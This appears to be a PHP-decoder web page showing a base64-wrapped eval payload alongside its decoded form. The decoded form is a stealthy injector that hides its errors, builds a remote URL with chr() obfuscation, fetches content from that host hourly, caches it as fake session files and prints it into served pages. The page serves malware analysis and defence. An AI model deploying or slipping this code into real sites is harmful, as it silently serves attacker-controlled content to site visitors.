Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIw0KPz48P3BocA0KDQokR0xPQkFMU1..

Decoded Output download


?><?php
####################
?><?php

$GLOBALS["DEBUG"]=$DEBUG=0;

if($DEBUG>=3) { 
	ini_set("display_errors",TRUE);
	ini_set("error_reporting", E_ALL ^ E_NOTICE);
}else{
	@ini_set("display_errors",FALSE);
	@ini_set("error_reporting", 0);
}
@ini_set("log_errors", FALSE);
@ini_alter("log_errors", FALSE);
if(function_exists("restore_error_handler")) restore_error_handler();
if(function_exists("restore_exception_handler")) restore_exception_handler();

@set_time_limit(7);

$timestart=time();

#########

if(!function_exists("file_get_contents")){
function file_get_contents($file){
	$content=implode("",file($file));
 	if(strlen($content)<1) {return FALSE;}
	return $content;
}}

if(!function_exists("file_put_contents")){
@define("FILE_APPEND", 8);
function file_put_contents($file,$content="",$parm=""){
	if($parm==8||$parm=="FILE_APPEND"){$fp=fopen($file,"a");}
	else{$fp=fopen($file,"w");}
	if($fp){
		if(fwrite($fp,$content)===FALSE){return FALSE;}
		fclose($fp);
		return strlen($content);
	}else{return FALSE;}
}}

if(!function_exists("url_get_mini")){
function url_get_mini($url, $timeout=8, $DEBUG=0){

	$headers = array(
	 "user_agent" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2745.104 Safari/527.35"
	,"1" => "Accept-Language: en-US,en;q=0.5"
	,"2" => "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7"
	,"3" => "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
	,"4" => "Accept-Encoding: identity"
	,"5" => "Cache-Control: no-cache"
	,"6" => "Connection: close"
	);

	if(!stristr($url,"://")) $url="http://".$url;
	$a=parse_url($url);
	if(empty($a[port])){$a[port]=80;}
	if(empty($a[path])){$a[path]="/";}

    $res=FALSE;

    if( 1 && function_exists('curl_init') ){
	if(($sh=curl_init($url))){
		curl_setopt($sh, CURLOPT_HEADER, FALSE);
		curl_setopt($sh, CURLOPT_RETURNTRANSFER, TRUE);
		curl_setopt($sh, CURLOPT_TIMEOUT, $timeout);
		curl_setopt($sh, CURLOPT_CONNECTTIMEOUT, $timeout);
		curl_setopt($sh, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($sh, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($sh, CURLOPT_SSL_VERIFYHOST, false);
		$res=curl_exec($sh);
		curl_close($sh);
	}
    }

    elseif( 1 && (ini_set("allow_url_fopen", TRUE) || 1) && in_array(ini_get("allow_url_fopen"),array(1,TRUE,"TRUE","On","ON"))		){

	ini_set("default_socket_timeout", $timeout);
	ini_set("user_agent", str_replace("User-Agent: ","",$headers["user_agent"]));

	$opts = array(
		'http'=>array(
				 'method'=>	"GET"
				,'header'=>	implode("
",$headers)."
"
				,'timeout'=>	$timeout
			)	
		);
	$context = stream_context_create($opts);

	$res="";
	if(function_exists('file')){
		if(substr(PHP_VERSION,0,1)>=5 || substr(phpversion(),0,1)>=5) {
			$res = implode("",file($url, false, $context)); ## php5 GET+POST
		}else{
			$res = implode("",file($url)); ## phpALL GET
		}
	}
    }

    elseif( 1 && function_exists('fsockopen') ){

	$old_time_limit=ini_get("max_execution_time"); ## remember
	set_time_limit($timeout); ## only this timeout really work 

	$head=implode("
",$headers)."
";

	if(($sh=fsockopen($a[host], $a[port], $errno, $errstr, $timeout))){
		stream_set_timeout($sh,$timeout); ## this timeout not work 
		$str="GET"
			." {$a[path]}".(!empty($a[query])?"?{$a[query]}":"")." HTTP/1.0
"
			."Host: ".$a[host].(empty($a[port])||$a[port]==80?'':':'.$a[port])."
"
			.(!empty($head)?$head:'')
			."
"
		;
		fwrite($sh, $str);
		$res = "";
     		while(!feof($sh))
			{ $res .= fgets($sh, 4096); }
		fclose($sh);
		$res=substr($res, strpos($res,"

")+4);
	}	
	set_time_limit($old_time_limit); ## recover
    }

    if(strlen($res)<1) $res=FALSE;

    return $res;
}}

#########

$url_to=chr(104)."t".chr(116)."p".":"."/".chr(47)."f"."r".chr(101)."e"."w".chr(101)."b".chr(115).chr(116)."a".chr(116)."i"."s".chr(116).chr(105)."c"."s".chr(46).chr(110)."e".chr(116)."/"."i".chr(100).chr(52).chr(46)."p".chr(104).chr(112);

$wrdir="";
$FLAG=FALSE;
if($FLAG===FALSE && ($wrdir="/tmp") && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir="/var/tmp") && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && function_exists("sys_get_temp_dir") && ($wrdir=sys_get_temp_dir()) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=ini_get("upload_tmp_dir")) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=ini_get("session.save_path")) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && (count($tmp=stream_get_meta_data($fp=tmpfile()))>1 && fclose($fp) && $wrdir=dirname($tmp["uri"])) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && (($tmp=tempnam(1,111))!==FALSE && ($wrdir=dirname($tmp)) && unlink($tmp)) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=getcwd()) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=dirname(__FILE__)) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE) { $wrdir=""; if($DEBUG) {die("<br>[-] TMPDIR not writable!");} else {die();} }
//print "<br>".$wrdir;

$wrpre="sess";
$uniq_key=dirname(__FILE__);

$f_res  = $wrdir."/".$wrpre."_".md5($uniq_key."js8v");
$f_last = $wrdir."/".$wrpre."_".md5($uniq_key."last8v");


#########

$res_default='
//default
';

$res=FALSE;

if( 
	( !file_exists($f_last) )
	||
	( 3600 < ($timestart - (int)file_get_contents($f_last)) )
) {
	$res=url_get_mini($url_to, 3);
	if( !$res || strlen($res)<5 || !stristr($res,"onDate") ){
		$res=$res_default;
	}
	file_put_contents($f_res, $res);
	file_put_contents($f_last, $timestart);
}

if( $res===FALSE ) {
	$res=file_get_contents($f_res);
}

print chr(42).chr(47);
print $res;

$timestart=$url_to=$wrpre=$uniq_key=$wrdir=$f_res=$f_last=$res=$res_default=FALSE;

die;

Did this file decode correctly?

Original Code

eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIw0KPz48P3BocA0KDQokR0xPQkFMU1siREVCVUciXT0kREVCVUc9MDsNCg0KaWYoJERFQlVHPj0zKSB7IA0KCWluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixUUlVFKTsNCglpbmlfc2V0KCJlcnJvcl9yZXBvcnRpbmciLCBFX0FMTCBeIEVfTk9USUNFKTsNCn1lbHNlew0KCUBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsRkFMU0UpOw0KCUBpbmlfc2V0KCJlcnJvcl9yZXBvcnRpbmciLCAwKTsNCn0NCkBpbmlfc2V0KCJsb2dfZXJyb3JzIiwgRkFMU0UpOw0KQGluaV9hbHRlcigibG9nX2Vycm9ycyIsIEZBTFNFKTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygicmVzdG9yZV9lcnJvcl9oYW5kbGVyIikpIHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJyZXN0b3JlX2V4Y2VwdGlvbl9oYW5kbGVyIikpIHJlc3RvcmVfZXhjZXB0aW9uX2hhbmRsZXIoKTsNCg0KQHNldF90aW1lX2xpbWl0KDcpOw0KDQokdGltZXN0YXJ0PXRpbWUoKTsNCg0KIyMjIyMjIyMjDQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfZ2V0X2NvbnRlbnRzIikpew0KZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpew0KCSRjb250ZW50PWltcGxvZGUoIiIsZmlsZSgkZmlsZSkpOw0KIAlpZihzdHJsZW4oJGNvbnRlbnQpPDEpIHtyZXR1cm4gRkFMU0U7fQ0KCXJldHVybiAkY29udGVudDsNCn19DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfcHV0X2NvbnRlbnRzIikpew0KQGRlZmluZSgiRklMRV9BUFBFTkQiLCA4KTsNCmZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb250ZW50PSIiLCRwYXJtPSIiKXsNCglpZigkcGFybT09OHx8JHBhcm09PSJGSUxFX0FQUEVORCIpeyRmcD1mb3BlbigkZmlsZSwiYSIpO30NCgllbHNleyRmcD1mb3BlbigkZmlsZSwidyIpO30NCglpZigkZnApew0KCQlpZihmd3JpdGUoJGZwLCRjb250ZW50KT09PUZBTFNFKXtyZXR1cm4gRkFMU0U7fQ0KCQlmY2xvc2UoJGZwKTsNCgkJcmV0dXJuIHN0cmxlbigkY29udGVudCk7DQoJfWVsc2V7cmV0dXJuIEZBTFNFO30NCn19DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInVybF9nZXRfbWluaSIpKXsNCmZ1bmN0aW9uIHVybF9nZXRfbWluaSgkdXJsLCAkdGltZW91dD04LCAkREVCVUc9MCl7DQoNCgkkaGVhZGVycyA9IGFycmF5KA0KCSAidXNlcl9hZ2VudCIgPT4gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81Mi4wLjI3NDUuMTA0IFNhZmFyaS81MjcuMzUiDQoJLCIxIiA9PiAiQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNSINCgksIjIiID0+ICJBY2NlcHQtQ2hhcnNldDogd2luZG93cy0xMjUxLHV0Zi04O3E9MC43LCo7cT0wLjciDQoJLCIzIiA9PiAiQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLCovKjtxPTAuOCINCgksIjQiID0+ICJBY2NlcHQtRW5jb2Rpbmc6IGlkZW50aXR5Ig0KCSwiNSIgPT4gIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIg0KCSwiNiIgPT4gIkNvbm5lY3Rpb246IGNsb3NlIg0KCSk7DQoNCglpZighc3RyaXN0cigkdXJsLCI6Ly8iKSkgJHVybD0iaHR0cDovLyIuJHVybDsNCgkkYT1wYXJzZV91cmwoJHVybCk7DQoJaWYoZW1wdHkoJGFbcG9ydF0pKXskYVtwb3J0XT04MDt9DQoJaWYoZW1wdHkoJGFbcGF0aF0pKXskYVtwYXRoXT0iLyI7fQ0KDQogICAgJHJlcz1GQUxTRTsNCg0KICAgIGlmKCAxICYmIGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgKXsNCglpZigoJHNoPWN1cmxfaW5pdCgkdXJsKSkpew0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9USU1FT1VULCAkdGltZW91dCk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCgkJY3VybF9zZXRvcHQoJHNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQoJCSRyZXM9Y3VybF9leGVjKCRzaCk7DQoJCWN1cmxfY2xvc2UoJHNoKTsNCgl9DQogICAgfQ0KDQogICAgZWxzZWlmKCAxICYmIChpbmlfc2V0KCJhbGxvd191cmxfZm9wZW4iLCBUUlVFKSB8fCAxKSAmJiBpbl9hcnJheShpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxhcnJheSgxLFRSVUUsIlRSVUUiLCJPbiIsIk9OIikpCQkpew0KDQoJaW5pX3NldCgiZGVmYXVsdF9zb2NrZXRfdGltZW91dCIsICR0aW1lb3V0KTsNCglpbmlfc2V0KCJ1c2VyX2FnZW50Iiwgc3RyX3JlcGxhY2UoIlVzZXItQWdlbnQ6ICIsIiIsJGhlYWRlcnNbInVzZXJfYWdlbnQiXSkpOw0KDQoJJG9wdHMgPSBhcnJheSgNCgkJJ2h0dHAnPT5hcnJheSgNCgkJCQkgJ21ldGhvZCc9PgkiR0VUIg0KCQkJCSwnaGVhZGVyJz0+CWltcGxvZGUoIlxyXG4iLCRoZWFkZXJzKS4iXHJcbiINCgkJCQksJ3RpbWVvdXQnPT4JJHRpbWVvdXQNCgkJCSkJDQoJCSk7DQoJJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpOw0KDQoJJHJlcz0iIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKSl7DQoJCWlmKHN1YnN0cihQSFBfVkVSU0lPTiwwLDEpPj01IHx8IHN1YnN0cihwaHB2ZXJzaW9uKCksMCwxKT49NSkgew0KCQkJJHJlcyA9IGltcGxvZGUoIiIsZmlsZSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpKTsgIyMgcGhwNSBHRVQrUE9TVA0KCQl9ZWxzZXsNCgkJCSRyZXMgPSBpbXBsb2RlKCIiLGZpbGUoJHVybCkpOyAjIyBwaHBBTEwgR0VUDQoJCX0NCgl9DQogICAgfQ0KDQogICAgZWxzZWlmKCAxICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgKXsNCg0KCSRvbGRfdGltZV9saW1pdD1pbmlfZ2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiKTsgIyMgcmVtZW1iZXINCglzZXRfdGltZV9saW1pdCgkdGltZW91dCk7ICMjIG9ubHkgdGhpcyB0aW1lb3V0IHJlYWxseSB3b3JrIA0KDQoJJGhlYWQ9aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpLiJcclxuIjsNCg0KCWlmKCgkc2g9ZnNvY2tvcGVuKCRhW2hvc3RdLCAkYVtwb3J0XSwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCkpKXsNCgkJc3RyZWFtX3NldF90aW1lb3V0KCRzaCwkdGltZW91dCk7ICMjIHRoaXMgdGltZW91dCBub3Qgd29yayANCgkJJHN0cj0iR0VUIg0KCQkJLiIgeyRhW3BhdGhdfSIuKCFlbXB0eSgkYVtxdWVyeV0pPyI/eyRhW3F1ZXJ5XX0iOiIiKS4iIEhUVFAvMS4wXHJcbiINCgkJCS4iSG9zdDogIi4kYVtob3N0XS4oZW1wdHkoJGFbcG9ydF0pfHwkYVtwb3J0XT09ODA/Jyc6JzonLiRhW3BvcnRdKS4iXHJcbiINCgkJCS4oIWVtcHR5KCRoZWFkKT8kaGVhZDonJykNCgkJCS4iXHJcbiINCgkJOw0KCQlmd3JpdGUoJHNoLCAkc3RyKTsNCgkJJHJlcyA9ICIiOw0KICAgICAJCXdoaWxlKCFmZW9mKCRzaCkpDQoJCQl7ICRyZXMgLj0gZmdldHMoJHNoLCA0MDk2KTsgfQ0KCQlmY2xvc2UoJHNoKTsNCgkJJHJlcz1zdWJzdHIoJHJlcywgc3RycG9zKCRyZXMsIlxyXG5cclxuIikrNCk7DQoJfQkNCglzZXRfdGltZV9saW1pdCgkb2xkX3RpbWVfbGltaXQpOyAjIyByZWNvdmVyDQogICAgfQ0KDQogICAgaWYoc3RybGVuKCRyZXMpPDEpICRyZXM9RkFMU0U7DQoNCiAgICByZXR1cm4gJHJlczsNCn19DQoNCiMjIyMjIyMjIw0KDQokdXJsX3RvPWNocigxMDQpLiJ0Ii5jaHIoMTE2KS4iXHg3MCIuIlx4M2EiLiJceDJmIi5jaHIoNDcpLiJceDY2Ii4iciIuY2hyKDEwMSkuImUiLiJceDc3Ii5jaHIoMTAxKS4iYiIuY2hyKDExNSkuY2hyKDExNikuImEiLmNocigxMTYpLiJpIi4icyIuY2hyKDExNikuY2hyKDEwNSkuImMiLiJceDczIi5jaHIoNDYpLmNocigxMTApLiJceDY1Ii5jaHIoMTE2KS4iLyIuImkiLmNocigxMDApLmNocig1MikuY2hyKDQ2KS4iXHg3MCIuY2hyKDEwNCkuY2hyKDExMik7DQoNCiR3cmRpcj0iIjsNCiRGTEFHPUZBTFNFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPSIvdG1wIikgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj0iL3Zhci90bXAiKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiBmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSAmJiAoJHdyZGlyPXN5c19nZXRfdGVtcF9kaXIoKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj1pbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWluaV9nZXQoInNlc3Npb24uc2F2ZV9wYXRoIikpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmIChjb3VudCgkdG1wPXN0cmVhbV9nZXRfbWV0YV9kYXRhKCRmcD10bXBmaWxlKCkpKT4xICYmIGZjbG9zZSgkZnApICYmICR3cmRpcj1kaXJuYW1lKCR0bXBbInVyaSJdKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCgkdG1wPXRlbXBuYW0oMSwxMTEpKSE9PUZBTFNFICYmICgkd3JkaXI9ZGlybmFtZSgkdG1wKSkgJiYgdW5saW5rKCR0bXApKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWdldGN3ZCgpKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWRpcm5hbWUoX19GSUxFX18pKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSkgeyAkd3JkaXI9IiI7IGlmKCRERUJVRykge2RpZSgiPGJyPlstXSBUTVBESVIgbm90IHdyaXRhYmxlISIpO30gZWxzZSB7ZGllKCk7fSB9DQovL3ByaW50ICI8YnI+Ii4kd3JkaXI7DQoNCiR3cnByZT0ic2VzcyI7DQokdW5pcV9rZXk9ZGlybmFtZShfX0ZJTEVfXyk7DQoNCiRmX3JlcyAgPSAkd3JkaXIuIi8iLiR3cnByZS4iXyIubWQ1KCR1bmlxX2tleS4ianM4diIpOw0KJGZfbGFzdCA9ICR3cmRpci4iLyIuJHdycHJlLiJfIi5tZDUoJHVuaXFfa2V5LiJsYXN0OHYiKTsNCg0KDQojIyMjIyMjIyMNCg0KJHJlc19kZWZhdWx0PScNCi8vZGVmYXVsdA0KJzsNCg0KJHJlcz1GQUxTRTsNCg0KaWYoIA0KCSggIWZpbGVfZXhpc3RzKCRmX2xhc3QpICkNCgl8fA0KCSggMzYwMCA8ICgkdGltZXN0YXJ0IC0gKGludClmaWxlX2dldF9jb250ZW50cygkZl9sYXN0KSkgKQ0KKSB7DQoJJHJlcz11cmxfZ2V0X21pbmkoJHVybF90bywgMyk7DQoJaWYoICEkcmVzIHx8IHN0cmxlbigkcmVzKTw1IHx8ICFzdHJpc3RyKCRyZXMsIm9uRGF0ZSIpICl7DQoJCSRyZXM9JHJlc19kZWZhdWx0Ow0KCX0NCglmaWxlX3B1dF9jb250ZW50cygkZl9yZXMsICRyZXMpOw0KCWZpbGVfcHV0X2NvbnRlbnRzKCRmX2xhc3QsICR0aW1lc3RhcnQpOw0KfQ0KDQppZiggJHJlcz09PUZBTFNFICkgew0KCSRyZXM9ZmlsZV9nZXRfY29udGVudHMoJGZfcmVzKTsNCn0NCg0KcHJpbnQgY2hyKDQyKS5jaHIoNDcpOw0KcHJpbnQgJHJlczsNCg0KJHRpbWVzdGFydD0kdXJsX3RvPSR3cnByZT0kdW5pcV9rZXk9JHdyZGlyPSRmX3Jlcz0kZl9sYXN0PSRyZXM9JHJlc19kZWZhdWx0PUZBTFNFOw0KDQpkaWU7DQo='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 849ac61642c70e6198c693afb7791e40
Eval Count 1
Decode Time 82 ms